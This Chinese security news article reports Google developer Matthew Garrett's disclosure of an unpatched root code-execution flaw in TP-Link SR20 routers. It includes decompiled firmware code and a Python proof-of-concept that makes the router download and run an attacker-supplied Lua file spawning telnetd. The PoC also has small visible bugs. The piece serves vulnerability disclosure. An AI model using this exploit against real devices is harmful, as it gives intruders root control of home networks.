TP-Link SR20路由器0 day漏洞

ang010ela 新闻 2019年4月1日发布
Favorite收藏

导语:​Google安全开发人员Matthew Garrett发现TP-Link SR20路由器存在root权限下的远程代码执行漏洞。

概述

Google安全开发人员Matthew Garrett发现TP-Link SR20智能家庭路由器存在0 day任意代码执行漏洞,处于同一网络的攻击者可以利用漏洞以root权限执行任意命令。

Garrett称公开漏洞是由于自他将漏洞报告给TP-link已经90天了,而TP-link尚未修复给漏洞,且没有给出回应。

技术分析

TP-Link SR20路由器融合了Zigbee/ZWave hub和路由器的功能,提供一个触摸屏用于配置和控制。固件二进制文件参见。研究人员分析固件发现一个名为tddp的可执行文件。运行arm-linux-gnu-nm -D发现它会导入popen(),因为popen()会将参数直接传递给shell,所以如果可以将用户控制的输入传给popen()调用,也就可以实现攻击利用。
Tddp是TP-Link Device Debug Protocol(设备调试协议),运行在大多数的TP-Link设备上,但在不同的设备上却有不同的功能。最常见的就是协议,有趣的是该协议的v2版本是需要认证的,还需要知道路由器的admin密码,而v1版本是非认证的。

将tddp复制到Ghidra中进行分析后,研究人员发现了一个名为recvfrom()的函数,它会从网络socket中复制信息。它会查看packet中的第一个字节,并用来决定使用的是哪种协议,并根据协议的版本确定要将packet传递给哪个dispatcher。在v1版本中,dispatcher会查看packet的第二个字节,并根据其中的值调用不同的函数,0x31就是CMD_FTEST_CONFIG。
研究人员对该函数进行了反编译:

int ftest_config(char *byte) {
  int lua_State;
  char *remote_address;
  int err;
  int luaerr;
  char filename[64]
  char configFile[64];
  char luaFile[64];
  int attempts;
  char *payload;

  attempts = 4;
  memset(luaFile,0,0x40);
  memset(configFile,0,0x40);
  memset(filename,0,0x40);
  lua_State = luaL_newstart();
  payload = iParm1 + 0xb027;
  if (payload != 0x00) {
    sscanf(payload,"%[^;];%s",luaFile,configFile);
    if ((luaFile[0] == 0) || (configFile[0] == 0)) {
      printf("[%s():%d] luaFile or configFile len error.\n","tddp_cmd_configSet",0x22b);
    }
    else {
      remote_address = inet_ntoa(*(in_addr *)(iParm1 + 4));
      tddp_execCmd("cd /tmp;tftp -gr %s %s &",luaFile,remote_address);
      sprintf(filename,"/tmp/%s",luaFile);
      while (0 < attempts) {
        sleep(1);
        err = access(filename,0);
        if (err == 0) break;
        attempts = attempts + -1;
      }
      if (attempts == 0) {
        printf("[%s():%d] lua file [%s] don\'t exsit.\n","tddp_cmd_configSet",0x23e,filename);
      }
      else {
        if (lua_State != 0) {
          luaL_openlibs(lua_State);
          luaerr = luaL_loadfile(lua_State,filename);
          if (luaerr == 0) {
            luaerr = lua_pcall(lua_State,0,0xffffffff,0);
          }
          lua_getfield(lua_State,0xffffd8ee,"config_test",luaerr);
          lua_pushstring(lua_State,configFile);
          lua_pushstring(lua_State,remote_address);
          lua_call(lua_State,2,1);
        }
        lua_close(lua_State);
      }
    }
  }
}

可以看出该函数会将对含有两个用;隔开的字符串的payload的packet进行分析。第一个字符串是文件名,第二个是配置文件。然后调用tddp_execCmd("cd /tmp; tftp -gr %s %s &",luaFile,remote_address),它会在后台执行tftp命令。然后连接回发送该命令的机器,并尝试通过tftp协议下载与发送的文件名对应的文件。主tddp进程会回等待4秒钟的时间来等候文件出现,一旦出现就将文件加载到LUA翻译器中,然后用配置文件名和远程地址作为参数调用config_test()。因为config_test()是从远程机器下载的文件提供的,因此在翻译器中可以执行任意代码,包括在主机上运行命令的os.execute方法。因为tddp是以root权限运行的,所以攻击者也可以以root权限执行任意命令。

POC

PoC代码如下:

#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
 
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
 
import binascii
import socket
 
port_send = 1040
port_receive = 61000
 
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
 
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
 
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
 
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
 
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

本文翻译自:https://mjg59.dreamwidth.org/51672.html https://www.bleepingcomputer.com/news/security/zero-day-tp-link-sr20-router-vulnerability-disclosed-by-google-dev/如若转载,请注明原文地址: https://www.4hou.com/info/news/17096.html
点赞 5
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论